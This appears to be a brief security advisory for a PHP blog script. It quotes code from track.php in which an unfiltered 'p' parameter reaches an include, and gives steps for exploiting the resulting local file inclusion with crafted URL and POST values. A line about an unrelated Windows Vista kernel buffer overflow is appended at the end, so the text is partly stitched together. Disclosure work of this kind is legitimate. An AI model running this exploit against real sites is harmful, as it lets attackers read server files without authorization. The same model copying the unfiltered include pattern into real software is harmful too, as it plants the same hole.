$m = $_GET[m];
$p = $_GET[p]; //1
include "settings.inc.php";
if(!isset($_POST[url]) || !isset($_POST[title]) ||
!isset($_POST[excerpt])) { //2
header("Location: ${rooturl}index.php?s=news&p=$p&m=$m");
}
else {
if(file_exists("../blogs/$p.inc.php")) { //3
include "../blogs/$p.inc.php"; //4
...
1 $p is not filtered
2 When POST'S is set
3 and file exists
4 we have lfi
---+++++....--___________--============
*/
Go to LIVE_HTTP_HEADERS in firefox or opera or whatever
set url http://site/path/code/track.php?p=[file]
set "SEND POST CONNTENT" url=evil&title=666&excerpt=xd
and push reply
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Microsoft Device IO Control wrapped by the iphlpapi.dll API shipping with Windows Vista 32 bit and 64 bit contains a possibly exploitable, buffer overflow corrupting kernel memory.